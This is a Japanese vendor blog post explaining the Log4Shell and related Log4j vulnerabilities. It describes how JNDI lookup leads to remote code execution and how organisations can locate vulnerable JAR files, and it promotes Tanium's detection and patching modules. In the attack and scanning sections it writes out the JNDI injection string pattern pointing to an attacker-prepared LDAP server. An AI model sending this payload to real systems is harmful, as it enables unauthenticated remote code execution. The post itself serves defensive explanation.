Apache Log4jの脆弱性とは
2021年12月にJavaのApache Log4jライブラリに深刻な脆弱性があることが公開されました。本ブログでは改めてApache Log4jとは何か、今回見つかった脆弱性の影響度や組織としてどう対処すべきなのかをまとめています。
Apache Log4jとは？
Apache Log4jはJavaのオープンソースライブラリでログを出力するユーティリティです。Javaはマルチプラットフォームで利用可能であるため、その利用場所はWebサービスからPCアプリ、また基幹システムから組み込みシステム、IoTなどでも幅広く利用されています。JavaのライブラリであるApache Log4jも同様にこれらのさまざまなJavaを利用したシステムで利用されています。よく利用されているWebサーバのアクセスログの他、実際にiCloudやTwitterの認証ログ、Java版のマインクラフトなどのチャットログでもApache Log4jが利用されていることが今回の騒動で判明しています。
Apache Log4jの脆弱性と攻撃の仕組みについて
これまでに公開されている一連のApache Log4j関連の脆弱性は最初に公開された最も危険なCVE-2021-44228 (別名Log4Shell) を始め、合計4つほど（CVE-2021-44228, 45046, 45105, 44832）公開されています。これら一連の脆弱性の中には最初に公開された脆弱性対応が不十分だったために追加されたものや、今回の脆弱性公開で注目を浴びた結果、新たに発見された脆弱性が含まれます。一番注目されているのはLog4Shellと呼ばれているCVE-2021-44228で脆弱性の共通評価システム（CVSS）のスコアで最高点の10.0とされています。Log4Shellは、Log4jの機能の一つ、JNDI（Java Naming and Directory Interface）Lookup機能の脆弱性を悪用するものです。この脆弱性はLog4jのログ出力メッセージに特定の文字列が入っていると、その一部を変数として評価する参照機能（JNDI Lookup）が働き、その結果、悪意のあるJavaのクラスが外部からダウンロードされて実行出来るというものです。そのため、Log4Shellを悪用することにより、攻撃者は認証を必要としないRCE（Remote Code Execution）攻撃を実行することが可能となります。
この脆弱性を狙った場合、想定される攻撃のシナリオの例として考えられるのは、HTTPリクエストヘッダに悪意のある文字列を仕込んで公開Webサーバにリクエストを送信するというものです。この悪意のある文字列（${jndi:ldap://攻撃者が準備したLDAPサーバのアドレス/）を含むリクエストを受け取ったWebサーバはそのリクエストをヘッダ情報と共にログに記録します。このログ出力で脆弱なLog4jを利用していた場合、JNDI Lookup機能により 攻撃者が準備したLDAPサーバ に問い合わせを行います（LDAP以外のプロトコルを悪用した事例も確認されています）。LDAPサーバはその問い合わせに対して悪意のあるJavaクラスがホストされているWebサーバのアドレスを回答し、最後に回答されたWebサーバのアドレスから悪意のあるJavaクラスをダウンロードして実行します。この悪意のあるJavaクラスを利用して攻撃者は任意のコマンドの実行やマルウェアのダウンロード、実行などさまざまな悪用が可能です。この攻撃は容易であるため自動化することも可能ですし、攻撃者は最初の悪意のあるリクエストの送信元を偽装することも可能です（偽装しても攻撃は成立する）。また、容易であるのと同時にすでに多くのエクスプロイトコードがインターネット上に公開されているため、専門的な知識がなくても実行できてしまいます。
攻撃のシナリオ例
攻撃者はどんな手段でも良いので、悪意のある文字列を脆弱性のあるApache Log4jログに出力させるだけで攻撃が成立する可能性があります。
Apache Log4jの脆弱性を狙った攻撃と現状について
本脆弱性の公開直後から脆弱性スキャンを含む攻撃や通信が非常に多く観測されています。例えばインターネット上に公開されているWebサーバがLog4Shellに対して脆弱かそうでないか手軽にスキャンする方法として上記のような悪意のある文字列をHTTPリクエストやWebフォームから手当り次第に送りつけ、攻撃者が用意した悪意のあるLDAPサーバにアクセスがあれば脆弱だと判断可能です。これらのリクエストは難読化されたものもあり、WAFのようなネットワークセキュリティをバイパスするものも観測されています。また、攻撃者は悪意のあるLDAPサーバを実際に用意しなくても、JNDI Lookupの外部参照時に発生するドメイン名の名前解決によるDNSリクエストからも脆弱だと判断することが可能です。これまで確認されている攻撃では、この脆弱性を悪用してコインマイナーやWebshellの設置、Cobalt Strikeのインストールからランサムウェアの実行などが報告されています。また最近ではAPTグループなどによる特定の製品やアプリケーションを狙ったLog4Shellの攻撃も報告され始めています。
一方、脆弱性のあるアプリケーションや製品を持つベンダー側の対応はどうでしょうか。Apache Log4jライブラリ自身の修正バージョンは脆弱性公開と同時にリリースされていますが、このライブラリを利用しているさまざまな製品の多くは、年明け頃から修正パッチ提供されはじめている状況です。Apache Log4jを利用しているアプリケーションは非常に多くあるため、影響を受けている各ベンダーの調査が完了し、すべてのパッチがリリースされるまではまだ時間がかかりそうです。
組織内の脆弱なApache Log4jを特定するには？
今回の脆弱性に対して最も難しいのが、組織内のどこにこの脆弱性に該当するApache Log4jが潜んでいるのか見つけ出すことです。Log4jはJavaで利用されているライブラリであるため、組織で利用されているさまざまなアプリケーションやカスタムツールなどに潜んでいる可能性があります。場合によっては誰も把握できていない、予期せぬ場所に存在している可能性もあります。そのため網羅的にすべての脆弱なApache Log4jを特定するのは非常に困難だと言われています。一般的に、脆弱なLog4jは主にlog4j-core-2.x.jar というファイルで提供されていますが、アプリケーションなどによってパッケージ化される過程で別名のJARファイルとなったりするケースもあります。またJARファイルはJavaのArchive（圧縮）ファイルのことであり、Javaで必要なコンパイル済みのclassファイルなどをまとめて圧縮しているファイルです。そためLog4jのJARファイルが依存関係などにより別のJARファイルで圧縮されてまとめられているケース、いわゆるJARファイルの入れ子になって存在している場合もあります。この入れ子は複数階層になる場合もありますので単純にJARファイル名からLog4jの存在を特定するだけでは不十分であり、JARファイルの中のJARファイルも検索対象とする必要があります。 またJavaパッケージの依存関係では見つけることが出来ないケース、JavaのソースにLog4jのコードがクラスとして直接含まれているケースです。この場合はJARファイルだけでなく、ソースコードの中身を確認する必要があります。
JARファイルの入れ子のイメージ
組織内に存在する脆弱なApache Log4jを特定する方法は大きく分けて３種類あります。１つ目が利用しているアプリケーションが脆弱性に該当するかどうかベンダーの情報を確認する方法です。この場合、組織内で利用されているすべてのアプリケーションを漏れなく把握しておく必要があります。また場合によってはベンダーでの調査に時間がかかり、即座に対応できない場合もあります。
２つ目がリモートスキャンを実施して間接的に脆弱性が存在するか確認する方法です。この方法は基本的には前述した攻撃手法と同じで、Log4Shellの脆弱性であるJNDI Lookup機能が動作するか実際にスキャン対象のシステムにリクエストを投げます。例えば文字列（${jndi:ldap://調査用に準備したサーバのアドレス/）をリクエストに利用します。その結果、調査用に準備したサーバに対してスキャンしたシステムからアクセスがあった場合、もしくは調査用に準備したサーバのドメイン名に対するDNSの名前解決があった場合は脆弱なシステムと特定することが出来ます。ただし、この方法はスキャンでリクエストを送るパターンに依存するため、すべての脆弱なApache Log4jを特定するには不十分な可能性があります。また脆弱性が疑われるシステムを特定しても、そのシステムのどのアプリケーション、もしくはJavaのパッケージに脆弱性が存在しているのが特定する必要があります。
３つ目が組織内に存在するJavaのファイルを網羅的かつ直接的に検索する方法です。この方法が最も確実に脆弱なApache Log4jを特定出来ますが、すべてのJARファイルやコードの中身を検索する必要があるため膨大な時間を要し、ファイルの全文検索によるシステムへの負荷や、多くの人的リソース発生などを考慮する必要があります。
タニウムを利用した脆弱なApache Log4jの特定
これに対して、タニウムはLog4jの脆弱性に対して多層的なソリューションを提供しています。まずはThreat Response（THR）モジュールです。THR機能の一つにIndexと呼ばれる機能があり、各端末のディスク上に存在するファイルのカタログ作成しファイルの高速検索を可能としています。Log4jのJARファイルをファイル名からリアルタイムで全台検索が可能です。またTHRは実行中のプロセスの一覧も全台検索出来ますので、その中かからJavaのプロセスを特定し、コマンドラインの引数で明示的にLog4jのライブラリを指定しているプロセスを特定することが出来ます。さらにTHRではアラート検知機能も有していますので、Log4jの脆弱性の悪用を試みるような振る舞いや痕跡を検知させることも可能です。
次に、今回Apache Log4jの脆弱性を特定するにあたって最も有効なのがRevealモジュールの機能を使った検索です。Revealモジュールはディスク上にあるファイルの中身を検索して、個人情報や機密情報が組織内のどこにあるのか特定、監視するモジュールです。今回はこのRevealの機能を利用してLog4jクラスやコードを直接検索することが可能です。RevealはJARを含むZIP形式の圧縮ファイルの中身も検索することが出来ます。Revealは端末上に存在するファイル内のテキスト内容をカタログ化して各端末で保持していますのでリアルタイムでLog4jを網羅的に全台検索することが可能です。非常に高速かつ低負荷で大規模環境でもLog4jをJARのような圧縮ファイルの中身も含めて検索できる唯一のソリューションだと思われます。
THRとRevealの機能を利用すれば大規模な環境であっても短期間でApache Log4jを継続的に特定することが可能になります。さらにTHRやRevealの機能で特定したLog4jのファイル情報を用いて、どのアプリケーションで利用されているのかを特定します。見つかったLog4jのファイルの場所とAssetモジュールで可視化されているインストールされているアプリケーションリストをあわせて特定することも可能です。またアプリケーションベンダーから脆弱性情報やパッチが提供されている場合はComplyモジュールによる脆弱性スキャンの実施、PatchモジュールやDeployモジュールを利用してパッチの適用や更新などの対処が可能です。
本脆弱性の公開からすでに2ヶ月が経過しましたが、これまでのところ深刻な被害の報告は多くありません。ですが本脆弱性の公開直後から継続して攻撃は観測されており、今後もApache Log4jの脆弱性を狙った攻撃に備えて、対策を継続して講じる必要があります。
ブログ記事に関してご質問やご要望がございましたらこちらからお問い合わせください。